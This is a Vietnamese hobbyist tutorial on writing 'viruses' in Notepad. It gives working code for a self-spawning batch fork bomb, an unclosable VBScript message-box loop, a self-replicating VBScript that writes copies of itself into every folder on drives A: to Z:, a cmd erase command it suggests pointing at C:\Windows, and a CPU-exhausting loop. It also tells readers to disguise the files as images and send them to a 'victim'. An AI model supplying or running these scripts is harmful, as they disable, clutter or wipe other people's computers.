Code tset virut

Tạo virus bằng notepad
Ai trong chúng ta ít nhiều đều hiểu khái niệm virus máy tính là 1 thứ cực kỳ có hại cho máy tính của mình......
Nhưng có ai từng suy nghĩ làm cách nào để làm nên 1 con virus chưa?
Nó được viết bằng chương trình gì?????
Bài viết sau đây xin giới thiệu các bạn cách sản xuất ra 1 con virus chỉ bằng notepad(ngoài ra có thể sữ dụng MS word,text document.....)
Đây chỉ là 1 thí nghiệm đơn giản và hữu ích nhằm giúp các bạn làm quen với virus........để càng ngày càng cảm thấy thân thiện, yêu thương virus hơn
Khuyến cáo:-Thực hành ở nhà đối với ai có kiến thức về virus khá ổn hoặc có chương trình chống virus mạnh
-Thực hành ở tiệm net đối với ai không có máy ỡ nhà hoặc có máy nhưng sợ phải mang vác nặng(đem bảo hành)
-Đừng đem hại ai hết nhé!!!!!!!!!!!!!!!!!!!!!
tạo virus bằng notepad:


Thí nghiệm 1: con này hoàn toàn vô hại...ghẹo chơi thôi....các bạn có thế thử tại nhà...

-đầu tiên vào notepad đánh code:
Code:
 start blackvirus.bat
_ nếu muốn các bạn có thể thay blackvirus bằng 1 tên khác mà bạn thích ^^.!!
-save file dưới tên blackvirus.bat->enter (đây chỉ là khảo nghiệm, còn mún lừa 1 ai đó thì bạn phải ngụy trang file *.bat dưới dạng hình ảnh,tập tin gì gì đó hấp dẫn...khẹt....khẹt)
-open blackvirus.bat
-bật task manager-> tab performance lên kiểm tra xem CPU usage lên bao nhiêu % nhé!!!!!!

-khoa điện tử-máy tính mình nên tổ chức cuộc thì "Xem ai nhanh hơn nào!!" để coi ai tắt thằng này nhanh nhất....khữa ... khữa
-nên vào phòng máy tính của khoa mình và thữ cùng 1 lúc nhé....

-đấy là tạo nhé.....các bạn thử suy nghĩ cách gỡ xem...cũng đơn giản lắm!!!!!!
Thí nghiệm 2:con này cũng vô hại......có thể thử tại nhà!!!!


-mở notepad hoặc text documnet
-gõ vào code sau:

Code:
msgbox " Thông tin bạn muốn điền vào tiêu đề ^^",,"thông báo của bạn đối với victim :D"

Ví dụ : msgbox "Bạn đãlừa bị ^^~Hiện giờ bạn không thể tắt thông báo này được! ha ha ha!",,"Welcome to NhaTrangTeam™-->Đừng quá tức giận PM : [email protected] "
loop

-save dưới dạng *.vbs (ví dụ: blackvirus_nhatrangteam™.vbs)
-ở save as type chọn all file
-ở endcoding chọn UNICode (nếu bỏ qua bước này,font chữ sẽ lộn xộn , mất hứng thú)!!!!!
-open file *.vbs

-Sau khi thử nghiệm thành thạo bạn có thể thay đổi nội dung theo ý thích của mình!!!!!


Bạn nên nhớ đây là 1 tập tin thực thi......thực hiện hành động do thao tác của của bạn...không thao tác không hoạt động....Càng nhấp càng tức...hì....hì......tập tin thực thi có nhiều cách để tắt(kết thúc) lắm nhé....tự tìm hiểu nghen!!!!!
_thêm : nếu bạn viết càng nhiều đoạn code như thế thì số lần victim phải tắt nó càng nhìu.^^!


Tạo virus bằng notepad
Thí nghiệm 3:
-Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
-Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
-Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 thằng *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn



tạo virus

B1: Mở Notepad
B2: Gõ đoạn code:
Code:
'virus !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


B3: Lưu lại với cú pháp :virus.vbs
B4:open file virus.vbs
-Hiệu quả thấy ngay

Để vô hiệu hoá virus

B1: Mở Notepad
B2: Gõ code:
Code:
'loại bỏ !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub


-B3:Lưu lại với cú pháp: loại bỏ.vbs
-B4:Chạy file Thuoc loại bỏ.vbs để vô hiêu hóa chương trình

Nếu bạn xài anti-virus mạnh như: BKAV Pro,Kaspersky,Bit defender,AVG......thì có thể sẽ bị chặn ngay từ thao tác đầu tiên bởi chương trình tác động khá nhiều đến registry nên anti-virus có thể hiểu nhầm là virus
*khuyến cáo: không nên thử ở nhà.....thực hiện không đúng....không đọc kỹ hướng dẫn......sẽ có khả năng dẫn đến tình trạng vào folder nào cũng thấy mặt nó hết.....bực là chính....tác hại thì không có...
_ nếu biết về IT thì các bạn có thể chỉnh sửa code thoải mái. Còn nếu là newman thì có thể lien hệ yahoo. Tớ sẽ hướng dẫn thêm.
Thí nghiệm 4:
-không phải virus
-Chĩ là một mã lệnh đơn giản nhưng..........khả năng phá hoại tầm quốc tế.
-Có những files cứng đầu khó gỡ phải sử dụng các phần mềm gỡ bỏ như Blannco Shreader, Unlocker, Tuneup Unilities.....Nhưng với chỉ 1 thao tác lệnh bạn có thể xóa hết mà không cần dùng phần mềm hỗ trợ....


-B1: tạo 1 file bất kỳ(1.txt, 1.bat, 1.exe...v..v..)
Vd: C:\Users\chuong\Desktop\1.txt
-B2: vào notepad
-B3 :Đánh lệnh erase C:\Users\chuong\Desktop\1.txt
-B4: lưu dưới dạng *.cmd
-B5: Chạy file *.cmd

thế là file 1.txt đã bị xóa



Các bạn đang tự hỏi ủa thế có gì đâu mà gọi là phá hoại?????
xin thưa rằng, files chạy dưới đuôi.cmd là thao tác thực hiện trên ms-dos vì vậy nó không kiêng nể ai hết...chỉ thực thi mệnh lệnh 1 cách hiệu quả thôi
-Bởi vậy....nếu bạn thay lệnh erase C:\Users\chuong\Desktop\1.txt -->>>>erase C:\Windows thì bạn nghĩ thế nào....có phải là đi tong cái win không........Bởi vậy đừng cố gắng làm điều gì ngu ngốc nhé!!!!!
Thí nghiệm 5:

-B1: vào notepad gõ cú pháp:

Code:
while true
wend

-B2: Sau đó lưu lại dưới đuôi [tên] .vbs
-B3: gửi victim (nạn nhân) dụ cho victim chạy tập tin này( đừng có gắng thử nhé....không chịu trách nhiệm đâu đấy)

Đây mới chỉ là virut, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì thôi rồi, chỉ có cài lại win.